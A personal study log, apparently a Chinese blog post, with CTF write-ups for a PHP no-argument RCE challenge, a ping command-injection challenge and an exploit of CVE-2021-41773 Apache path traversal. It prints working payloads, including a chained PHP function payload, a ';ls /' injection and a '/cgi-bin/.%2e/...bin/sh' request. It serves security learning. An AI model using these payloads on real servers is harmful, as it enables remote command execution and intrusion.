4月9日学习记录

GXYCTF 2019禁止套娃

涉及知识点:git泄露,无参数RCE

打开环境,源码什么的都没有,扫描后台看看

扫描发现存在git泄露

用githack下载查看得到一串源码

复制代码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

又看见了';',很明显的无参数绕过了,但是还是不考虑getallheaders,因为不清楚环境条件,所以一般不使用,还是选择利用php函数来绕过;

php的伪协议被过滤了,还有一些数学函数也被过滤了,就老实利用php函数来绕过了

localeconv() -- 函数返回一个包含本地数字及货币格式信息的数组 第一个是.

pos() -- 返回数组中的当前单元, 默认取第一个值

next -- 将内部指针指向数组下一个元素并输出

scandir() -- 扫描目录

array_reverse() -- 翻转数组

array_flip() - 键名与数组值对调

readfile()

array_rand() - 随机读取键名

var_dump() - 输出数组,可以用print_r替代

file_get_contents() - 读取文件内容,show_source,highlight_file echo 可代替

get_defined_vars() - 返回由所有已定义变量所组成的数组

end() - 读取数组最后一个元素

current() - 读取数组的第一个元

参数是exp,开始传参

复制代码
exp=var_dump(localeconv());

返回当前单元,也就是"."下的内容

复制代码
exp=var_dump(pos(localeconv()));

扫描目录下内容,看见flag.php了,快了

复制代码
exp=var_dump(scandir(pos(localeconv())));

因为flag.php位置是倒数第二个,所以采取翻转数组,在改变内置指针的指向来读取flag

复制代码
exp=var_dump(next(array_reverse(scandir(pos(localeconv())))));

读取flag.php,这里用的是show_source命令

复制代码
exp=var_dump(show_source(next(array_reverse(scandir(pos(localeconv()))))));

SWPUCTF 2023 秋季新生赛Pingpingping

源码

需要传入Ping_ip.exe的参数,但是在网页传参以后,"_"会被替换成".",所以用[替换后能正常传参(Ping[ip.exe=127.0.0.1" 是一个Ping命令,用于测试与目标IP地址的网络连接。在这种情况下,目标IP地址是本地回环地址(127.0.0.1),表示测试本机的网络连接。

ping-c3,给了三个ping回显工具,那么到这里后面进正常进行命令执行

复制代码
Ping[ip.exe=127.0.0.1;ls /

看见flag了,cat就行

NSSRound#4 SWPUez_rce

CVE-2021-41773(Apache HTTP Server路径穿越漏洞)
同时如果Apache HTTPd 开启了 cgi 支持,攻击者可构造恶意请求执行命令,控制服务器。
条件:
配置目录遍历,并且开启cgi mode 2.Apache HTTPd版本为2.4.49/2.4.50 3.存在cgi-bin和icons文件夹;而且/icons/必需是一个可以访问的文件夹
利用 :
抓包构造post传参,传入.%2e/的形式,来绕过对于路径穿越符的检测,在cgi-bin服务器上执行命令执行查看目录
复制代码
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh

打开环境,什么都没有,标签说是CVE泄露,在Apache环境下存在CVE-2021-41773

所以通过抓包,修改传参来绕过

查看flag,但是这里会发现直接查看flag_is_here没有回显,一个一个尝试,在run.sh里面发现线索,有些wp说根据经验知道有个四层文件夹迷宫,然后去爆破四层迷宫,这里查看run.sh也是一样的

看见真正的位置了

相关推荐
aWty_1 小时前
实分析入门(11)--Cantor三分集
学习·数学·算法·实变函数
for_ever_love__8 小时前
UI学习:UISearchController基础了解和应用
学习·ui·ios·objective-c
心中有国也有家8 小时前
GE图引擎深度解析——CANN的计算图优化与执行引擎
人工智能·pytorch·python·学习·numpy
GHL28427109010 小时前
换脸工作流学习
学习·ai
_李小白10 小时前
【android opencv学习笔记】Day 28: 滤波算法之中值滤波器
android·opencv·学习
飞翔中文网11 小时前
Java学习笔记之抽象类与接口(设计思想)
java·笔记·学习
土星碎冰机12 小时前
xxljob学习(大白话版本)
学习·运维开发
吃好睡好便好13 小时前
说说免疫力的维护
学习·生活
凉、介13 小时前
深入理解 ARMv8-A|处理器模式与寄存器
笔记·学习·嵌入式·arm
z2005093013 小时前
【linux学习】深入理解linux文件I/O,从C标准库到内核态
linux·学习·操作系统